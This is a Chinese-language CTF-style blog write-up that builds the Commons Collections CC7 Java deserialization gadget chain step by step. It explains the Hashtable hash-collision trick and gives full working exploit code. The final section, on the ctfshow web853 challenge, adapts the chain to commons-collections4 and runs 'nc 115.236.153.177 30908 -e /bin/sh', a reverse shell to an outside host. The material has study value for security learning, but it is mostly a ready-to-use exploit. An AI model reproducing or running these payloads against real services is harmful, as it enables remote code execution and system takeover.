前言
CC7 的链子和 CC5 类似,后半条链子也是 LazyMap.get()
的链子,然后也换了个入口类
参考:
分析
图来
equals
太多了,依旧是正向分析
直接看入口类Hashtable
的 readObject
调用了个reconstitutionPut()
方法,跟过去看看
发现个熟悉的hashCode()
,不过这样的话就进 cc6 了,我们的目标还是这里 cc7 的 equals
查找用法的话equals
太多了,直接 ctrl+shift+a 全局搜索找AbstractMapDecorator
这个类
继承了 Map 接口,因为它是 CC 包里面的 Map 类,并且能够调用父类 Map,所以把它作为链子的一部分
但是 Map 是一个接口,我们还需要去找 Map 的实现类
最终在 AbstractMap
类中的 equals()
方法中发现其调用了 get()
方法
那么只需要让 m 可控为 LazyMap 即可连上链子
写exp
LazyMap.get 的部分直接复制粘贴,这里不提了
而上面的链子连起来就是:Hashtable.readObject
-> Hashtable.reconstitutionPut
-> Abstracecorator.equals
-> AbstractMap.equals
看起来好像是四个步骤,但是其实AbstractMapequals
这里,首先是调用LazyMap.equals
,但是 LazyMap 没这个方法才找父类找到了AbstractMap.equals
接下来分析每段方法的参数
首先是 readObject:
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
可以看到这里reconstitutionPut
是在一个for循环里面的
然后是 reconstitutionput:
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// ...
}
这里对传进的 Entry 对象数组进行了循环,逐个调用e.key.equals(key)
到这里就要看一下 key 是啥了,溯源发现在 writeObject 方法里
其实 key 就是我们第一次 put 进去的 key,那么写法就是:
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap, "0w0");
于是写exp:
package com.example.cc7;
import com.example.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap, "0w0");
String barr = Utils.Serialize(hashtable);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
然后运行,无事发生。。
下断点发现根本没进AbstractMap.equals()
,看看 ysoserial 是怎么做的
ysoserial 这里的链子多了一个 map,还把两个 map 进行了比较
调用两次 put
我们需要调用的 e.key.equals()
方法是在 for 循环里面的,需要进入到这个 for 循环才能调用
Hashtable
的 reconstitutionPut()
方法是被遍历调用的
第一次调用的时候,并不会走入到 reconstitutionPut()
方法 for 循环里面,因为 tab[index]
的内容是空的
在下面才会对 tab[index]
进行赋值
所以需要两次put赋值才能进入
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("aaa", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("bbb", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
(这里是栈结构,所以最后put进去的会成为第一个tab[index]
)
然而这样子依旧不能进,调试了半天发现问题出在了hash上面
指定key的值
table[1]
是 decorateMap2 的值,而索引之所以是1也是从int index = (hash & 0x7FFFFFFF) % tab.length;
来的,而 decorateMap1 的key(即"aaa")经过hash处理之后为 96320,decorateMap2 的key("bbb")的hash是97315,两者得到的index不相等,所以连 for 循环都进不去
那么要让(hash & 0x7FFFFFFF) % tab.length
相等,这样才能匹配上index,而且注意到下面还有e.hash == hash
的判断,因此问题就转变为如何让这两个 key 的 hash 相等
在java中有这样的一个特性:
"yy".hashCode() == "zZ".hashCode()
yy
和 zZ
由 hashCode()
计算出来的值是一样的。正是这个小 bug 让这里能够利用,所以这里我们需要将 map 中 put()
的值设置为 yy
和 zZ
,才能走到我们想要的 e.key.equals()
方法中
所以要这样写:
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
然后就调用decorateMap1.equals(decorateMap2)
不过这样还是弹不了计算器
remove
这是因为 HashTable.put()
实际上也会调用到 equals()
方法
当调用完 equals()
方法后,decorateMap2 的 key 中就会增加一个 yy 键,然后在 AbstractMap 这里执行 value.equals(m.get(key))
时取到的key是 yy
而AbstractMap里的key是什么呢
由于我们是先调用了 HashMap 里的 equals 后才到的 AbstractMap ,因此这个 entryset 也就是 HashMap 的,decorateMap1 里放的就是 HashMap1,里面的键是 yy
于是在这之后 decorateMap2 的 key 中就会增加一个 yy 键,这就不能满足 hash 碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么经过对方服务器反序列化也不能满足 hash 碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对
decorateMap2.remove("yy");
最终exp
为了防止序列化提前弹计算器,要改一下 chainedTransformer 为ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
,后面再反射赋值
package com.example.cc7;
import com.example.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
Utils.SetValue(chainedTransformer,"iTransformers",transformers);
decorateMap2.remove("yy");
String barr = Utils.Serialize(hashtable);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
实战
ctfshow web853
提交ctfshow参数进行base64解码
然后进行反序列化
我是java8,使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁,
为了保证业务安全,我删除了nc和curl命令
下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"));
测试发现得用cc7打,那换成cc4.0的库就行
package com.example.cc7;
import com.example.Utils;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7Ver4 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc 115.236.153.177 30908 -e /bin/sh"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.lazyMap(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.lazyMap(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
Utils.SetValue(chainedTransformer,"iTransformers",transformers);
decorateMap2.remove("yy");
String barr = Utils.Serialize(hashtable);
System.out.println(barr);
// Utils.UnSerialize(barr);
}
}